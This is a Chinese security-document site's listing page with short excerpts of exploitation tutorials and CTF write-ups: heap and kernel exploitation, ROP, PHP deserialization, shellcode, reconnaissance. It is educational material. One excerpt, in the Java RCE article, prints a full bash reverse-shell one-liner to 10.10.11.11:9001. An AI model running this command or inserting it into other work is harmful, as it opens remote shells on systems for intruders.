爱豆文档 - 信息安全文档下载平台 - idocdown.com （部分文档，免费下载）

. . . . . .

House-of-peach——无Free函数的新利用手法

# House of Peach 堆利用技术详解 ## 技术概述 House of Peach 是一种新型的堆利用技术，延续了 House of Orange 对 Top chunk 的利用思路。该技术可在任意 glibc 版本下，**无需 free 函数**即可实现堆利用，通过精心构造的堆布局和溢出漏洞，实现内存地址泄露和任意地址写入。 ## 技术原理分析 ### 核心机制：sysmalloc 中的 Top chunk 释放在 glibc 2.39 的 `sysmalloc` 函数中

2025-12-23 12:11:09

内核seq_operation+pt_regs结构体组合利用学习

# 内核漏洞利用：seq_operations与pt_regs结构体组合利用技术 ## 概述本文详细分析内核堆溢出漏洞利用中`seq_operations`与`pt_regs`结构体的组合利用技术。通过实际案例，讲解如何利用UAF漏洞实现内核地址泄露、执行流劫持和权限提升。 ## 内核交互流程分析 ### ioctl系统调用详解 #### ioctl函数原型 ```c long my_ioctl(struct file *filp, unsigned int cmd, unsigned

2025-12-23 12:10:18

信息搜集之边缘资产和隐形资产的发掘

# 信息搜集之边缘资产和隐形资产的发掘 - 教学文档 ## 1. 概述在渗透测试和攻防演练中，信息搜集是攻击链的第一步，也是决定渗透成功率的关键环节。本文重点讲解如何发掘目标的边缘资产和隐形资产，这些资产通常是企业安全防护的薄弱环节，更容易成为攻击突破口。 ## 2. 边缘资产和隐形资产定义 ### 2.1 基本概念 - **边缘域名资产**：非主域名资产，可能是具体业务组或全资子公司在使用 - **隐形IP资产**：以IP形式直接提供服务，无法通过域名发现，可能是开发测试遗漏或内部

2025-12-23 12:08:33

ROP与SROP技术在Linux Pwn中的应用分析

# ROP与SROP技术在Linux Pwn中的应用分析 ## 一、ROP技术基础 ### 1.1 ROP保护机制RELRO详解 RELRO（Relocation Read-Only）重定位段只读保护分为三个等级： **NO RELRO**： - 保护未开启状态 - 所有重定位段均可写，包括.dynamic、.got、.got.plt **Partial RELRO**： - GCC编译的默认配置 - .dynamic、.got被标记为只读 - 强制将ELF内部数据段.got、.got

2025-12-20 12:02:58

从CTF刷题记录对php反序列化的总结

# PHP反序列化漏洞全面解析 ## 1. 序列化与反序列化基础 ### 1.1 基本概念 **序列化**是将对象中的数据（对象属性）转换为便于传输和保存的形式的过程。**反序列化**是其逆向过程，将序列化后的数据还原为对象。 **示例理解**：网上购物时，商家将桌子拆卸成易于运输的零件（序列化），用户收到后重新组装（反序列化）。 ### 1.2 序列化字符串结构分析 ``` O:1:"a":1:{s:1:"b";s:1:"1";} ``` - `O`：表示对象类型 - `1`：对象名称

2025-12-19 12:32:20

基于Docker的CTF Pwn环境构建与部署实践

# 基于Docker的CTF Pwn环境构建与部署实践 ## 概述本文详细讲解如何使用Docker构建和部署CTF Pwn题目环境，涵盖GitHub Actions自动化流程、Docker容器配置、安全沙箱设置等关键技术要点。 ## 核心注意点 ### 1. 分支命名规范 - 分支名称需要与工作流文件和项目目录保持一致 - 示例：项目名为`pwn-ret2text`，则分支名应为`pwn-ret2text` - 工作流文件路径：`.github/workflows/pwn-ret2tex

2025-12-19 12:31:08

2025鹏程杯PWN除了vm全解

# 2025鹏程杯PWN题解（除VM外） ## 题目一：Pivoting ### 程序分析这是一个银行管理系统，存在栈溢出漏洞。程序逻辑包含死循环，需要绕过才能进行控制流劫持。 ### 漏洞点 1. 在取款操作的确认环节存在栈溢出 2. 程序重启后全局条件不可逆，需要特别注意交互逻辑 3. 存在栈帧不对齐问题，需要ret指令进行抬栈 ### 利用思路 #### 第一阶段：泄露libc地址 ```python from pwn import * def leak_libc():

2025-12-19 12:18:29

SHELLCODE提权从入门到精通

# Shellcode提权技术从入门到精通 ## 一、寄存器基础知识 ### 1.1 通用寄存器结构 #### RAX寄存器 | 位宽 | 表示 | 说明 | |------|------|------| | 64位 | RAX | 完整寄存器，存储64位数据 | | 32位 | EAX | RAX的低32位 | | 16位 | AX | RAX的低16位 | | 8位 | AL/AH | AL：AX的低8位，AH：AX的高8位 | #### RDI寄存器 | 位宽 | 表示 | 说明

2025-12-19 12:16:57

内核堆基础 || 羊城杯challenge例题讲解（Cross-Cache UAF）

# 内核堆基础与羊城杯Challenge例题讲解（Cross-Cache UAF） ## 一、现代内核常规保护机制 ### 1. SMEP（Supervisor Mode Execution Protection） - **作用**：防止内核态执行用户态代码 - **绕过方式**：采用ROP（Return-Oriented Programming）技术绕过 ### 2. SMAP（Supervisor Mode Access Prevention） - **作用**：防止内核态在没有明确许

2025-12-19 12:15:09

内核堆（babydriver的两种解法）

# 内核堆漏洞利用：babydriver的两种解法详解 ## 题目概述 babydriver是一个经典的内核堆漏洞利用题目，涉及UAF（Use-After-Free）漏洞。题目实现了一个字符设备驱动，存在全局变量共享问题，导致可以利用UAF漏洞进行权限提升。 ## 驱动功能分析 ### 关键数据结构驱动使用全局结构体`babydev_struct`： ```c struct babydev_struct { char *device_buf; size_t device

2025-12-19 12:11:52

2025羊城杯mvmps详解 || read写入溢出修改code类型

# 2025羊城杯mvmps虚拟机漏洞利用详解 ## 题目概述 mvmps是一道基于自定义虚拟机实现的PWN题目，考察对虚拟机指令集的理解和漏洞利用能力。题目涉及栈溢出、GOT表劫持等技术点。 ## 虚拟机架构分析 ### 检查安全机制 ```bash ➜➜ Cands checksec vvmm [*] '/home/ziran/Desktop/1011/Cands/vvmm' Arch: amd64-64-little RELRO: Partial RELRO Stack:

2025-12-19 12:10:12

Java RCE场景下的RevShell技术全解析

# Java RCE场景下的RevShell技术全解析 ## 1. Linux反弹Shell命令解析 ### 1.1 基础反弹命令 ```bash bash -i >& /dev/tcp/10.10.11.11/9001 0>&1 ``` ### 1.2 符号作用解析 - **`&`符号作用**：当``后面跟`&`时，指向的是文件描述符而非文件名 - `>&m`：输出到文件描述符m所指向的文件 - `<&m`：从文件描述符m所指向的文件读取输入 ### 1.3 命令详细解读完

2025-12-19 12:08:27

跳转到页